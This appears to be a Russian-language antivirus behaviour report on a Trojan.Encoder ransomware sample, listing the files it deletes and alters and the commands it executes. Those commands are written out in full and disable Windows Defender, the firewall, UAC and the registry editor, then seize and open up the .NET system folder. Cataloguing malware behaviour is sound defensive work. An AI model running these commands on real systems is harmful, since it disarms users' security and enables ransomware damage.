Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Редактора реестра (RegEdit)
- Системный антивирус (Защитник Windows)
Запускает на исполнение
- '<SYSTEM32>\net.exe' stop "WinDefend"
- '<SYSTEM32>\net.exe' stop MpsSvc
- '<SYSTEM32>\taskkill.exe' /f /t /im FirewallControlPanel.exe
- '<SYSTEM32>\netsh.exe' firewall set opmode disable
- '<SYSTEM32>\taskkill.exe' /f /t /im MpsSvc.exe
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\93e5.tmp\93e6.bat
- <Текущая директория>\infected.txt
Удаляет следующие файлы
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\comsvcconfig.exe
- %WINDIR%\microsoft.net\Framework\v3.5\sql\en\dropsqlpersistenceproviderschema.sql
- %WINDIR%\microsoft.net\Framework\v3.5\sql\en\dropsqlpersistenceproviderlogic.sql
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\XamlViewer\xamlviewer_v0300.xbap
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\XamlViewer\xamlviewer_v0300.exe.manifest
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\XamlViewer\xamlviewer_v0300.exe
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\wpfgfx_v0300.dll
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\presentationui.dll
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\presentationhostdll.dll
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\presentationcffrasterizer.dll
- %WINDIR%\microsoft.net\Framework\v3.0\wpf\penimc.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\_transactionbridgeperfcounters.reg
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\_smsvchostperfcounters.reg
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\_servicemodelserviceperfcounters.reg
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\_servicemodeloperationperfcounters.reg
- %WINDIR%\microsoft.net\Framework\v3.5\sql\en\sqlpersistenceproviderlogic.sql
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\_servicemodelendpointperfcounters.reg
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\system.servicemodel.washosting.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\system.servicemodel.install.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\system.servicemodel.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\system.runtime.serialization.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\smsvchost.exe
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\smdiagnostics.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\smconfiginstaller.exe
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\servicemonikersupport.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\servicemodelreg.exe
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\servicemodelinstallrc.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\servicemodelevents.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\microsoft.transactions.bridge.dtc.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\microsoft.transactions.bridge.dll
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\infocard.exe
- %WINDIR%\microsoft.net\Framework\v3.0\Windows Communication Foundation\wsatconfig.exe
- %WINDIR%\microsoft.net\Framework\v3.5\sql\en\sqlpersistenceproviderschema.sql
Изменяет следующие файлы
- %HOMEPATH%\desktop\000814251_video_01.avi
- %HOMEPATH%\desktop\about.html
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\browse.htm
- %HOMEPATH%\desktop\browse.html
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\icq.lnk
- %HOMEPATH%\desktop\mail.ru agent.lnk
- %HOMEPATH%\desktop\qip 2012.lnk
- %HOMEPATH%\desktop\telegram.lnk
- %HOMEPATH%\desktop\total commander 64 bit.lnk
- %HOMEPATH%\desktop\ituneshelpunavailable.html
Изменяет множество файлов пользовательских данных (Trojan.Encoder).
Сетевая активность
UDP
- 'localhost':56019
- 'localhost':62821
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\93E5.tmp\93E6.bat <Полный путь к файлу>"
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 00000001
- '<SYSTEM32>\reg.exe' add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add HKLM\Software\Microsoft\WindowsDefender /v DisableAntispyware /t REG_DWORD /d 5 /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
- '<SYSTEM32>\net1.exe' stop MpsSvc
- '<SYSTEM32>\cmd.exe' /S /D /c" echo Y "
- '<SYSTEM32>\cmd.exe' /S /D /c" FOR /F "tokens=1,* delims=: " %j in (infected.txt) do copy <Полный путь к файлу> "%j:%k""
- '<SYSTEM32>\takeown.exe' /F "%WINDIR%\Microsoft.NET"
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\net1.exe' stop "WinDefend"
- '<SYSTEM32>\sc.exe' delete "WinDefend"
- '<SYSTEM32>\rundll32.exe' USER32.DLL,SwapMouseButton
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\icacls.exe' %WINDIR%\Microsoft.NET /grant everyone:F
- '<SYSTEM32>\schtasks.exe' /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "AllowFastServiceStartup" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableSpecialRunningModes" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "ServiceKeepAlive" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
- '<SYSTEM32>\rundll32.exe' mouse,disable
